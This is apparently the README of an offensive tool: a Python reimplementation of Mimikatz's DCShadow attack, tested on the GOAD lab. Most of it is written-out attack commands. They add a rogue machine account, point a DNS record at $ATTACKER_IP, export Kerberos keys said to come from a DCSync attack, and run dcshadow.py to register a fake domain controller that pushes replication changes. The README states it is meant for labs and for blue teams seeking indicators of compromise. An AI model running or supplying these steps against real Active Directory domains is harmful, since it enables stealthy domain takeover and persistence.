
Python alternative to Mimikatz lsadump::dcshadow
[!WARNING] لا تشغّل هذا في بيئة الإنتاج. الأداة مخصصة للاختبارات المعملية، وللفرق الزرقاء (Blue Teams) للعمل على تحديد مؤشرات الاختراق (IoCs) وأنواع الأحداث والسلوكيات. كما أن هذه الأداة مقدمة كما هي دون أي ضمانات. لا يُخطط لتقديم دعم لها، باستثناء المراجعة المعتادة لطلبات السحب (Pull Requests) التي قد ترغب في إنشائها. لا تشغّل هذا من مضيف يعمل بنظام Windows. شغّله من نظام Linux، أو من جهاز افتراضي (VM) لتفادي تعارض خدمات RPC.
يهدف هذا المشروع إلى أن يكون بديلًا خالصًا بلغة بايثون لتقنية dcshadow الخاصة بأداة Mimikatz. يتضمن ذلك حزمة Impacket مخصصة مع تعديل على crypto و gssapi و drsuapi من بين أمور أخرى.
تُعد DCShadow تقنية استمرارية (Persistence) قوية يمكن اعتبارها ناقلًا لتقنيات أخرى مثل SID history و KRBTGT RBCD و إساءة استخدام ACE وغيرها.
يمكن أن تكون هذه الأداة أساسًا لإطار عمل أكثر مرونة لاستمرارية Active Directory، يمكن لمجتمعنا استخدامه لرفع مستوى نضجنا العام في هذا الشأن.
تم اختبار هذه الأداة على GOAD.
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket
سيتم تسجيل هذا الكمبيوتر كوحدة تحكم بالمجال (Domain Controller) طوال مدة النسخ المتماثل، وسيتم إلغاء تسجيله في النهاية.
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug
[!WARNING] تم تعديل adcomputer.py لتعيين
msDS-SupportedEncryptionTypesإلى0x1f. يبدو أن أحدث الاختبارات تثير انتهاك قيد (constraint violation).[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket Traceback (most recent call last): File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps raise Exception(str(ldapConn.result)) Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'} [-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}في الوقت الحالي، استخدم سكربت addcomputer.py العادي من Impacket، وقم بتعديل
msDS-SupportedEncryptionTypesيدويًا عبر تحرير ADSI.
هذا مطلوب لكي تعرف وحدة التحكم بالمجال الشرعية كيف تصل إلى وحدة التحكم المارقة وتتجنب أخطاء ERROR_DS_DNS_LOOKUP_FAILURE.
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"
[!TIP] إذا لم يعمل الأمر لسبب ما، أضف إدخال DNS يدويًا عبر أدوات DNS على وحدة التحكم بالمجال.
عندما بدأنا تطوير هذه الأداة، كنا نستخدم بيانات اعتماد مكتوبة بشكل ثابت (hardcoded) في ملف .env، تُحمَّل في دالة gss_kerberos_ap_req في ملف dcshadow/utils/server/RpcServer.py.
من الواضح أن هذا يحتاج إلى ترقية. يمكن تمرير كلمة مرور حساب وحدة التحكم المارقة كوسيط لسطر الأوامر وحساب مفاتيح Kerberos. أداة Krbrelayx تفعل ذلك بالفعل، وكذلك dacledit.py، الأمر يحتاج إلى نسخ ولصق.
في الوقت الحالي، تحتاج إلى تصدير مفاتيح Kerberos كمتغيرات بيئة.
يجب أن يبدو الأمر كالتالي:
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc
يمكن استرداد هذه المفاتيح من خلال هجوم DCSync.
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"
[!TIP] في هذه الحالة، يُستخدم ملف
repl.jsonلتحديد الكائنات والسمات المستهدفة. بدلاً من ذلك، تدعم الأداة خيارات مضمّنة (مثل--objectو--attributeو--value).
إذا انتهت مهلة DRSReplicaAdd، فمن المحتمل أن تكون مشكلة شبكة/جدار حماية على الجهاز الذي يشغّل dcshadow.py (وحدة التحكم المارقة)، ويُحتمل ألا يسمح بحركة المرور الواردة على المنفذ 135/TCP (epmapper) و1337/TCP (أو المنفذ الديناميكي إذا تم تنفيذه لاحقًا لخدمة drsuapi).
ستحتاج إلى تشغيل Wireshark على وحدة التحكم بالمجال الشرعية، لكن السبب الجذري الأكثر ترجيحًا هو أنك تحاول تشغيل هذا على جهاز يعمل بنظام Windows، مما يعني أنه عندما تطلب وحدة التحكم بالمجال الشرعية من epmapper التابع لوحدة التحكم المارقة منفذ نقطة نهاية drsuapi، تكون الإجابة فارغة لأن epmapper الخاص بجهاز Windows الخاص بك هو من يستجيب وليس الإصدار المخصص لدينا.
لم يكن هذا المشروع ممكنًا لولا المساعدة الهائلة من Alessandro Iandoli "MrAle98"، الباحث الموهوب الذي قابلناه أثناء التطوير. شكرًا لك Alessandro!
يعود الفضل إلى Benjamin Delpy و Vincent Letoux في الاكتشاف الأولي والمحاضرات والتنفيذ في Mimikatz.
كما أود أن أشكر Volker، الذي شارك في التطوير المبكر.
شكرًا لـ Dramelac على المساعدة في الانتقال من إثبات المفهوم (PoC) إلى مشروع معياري، ليكون أساسًا لإطار عمل مستقبلي، إذا وصلنا إليه يومًا ما.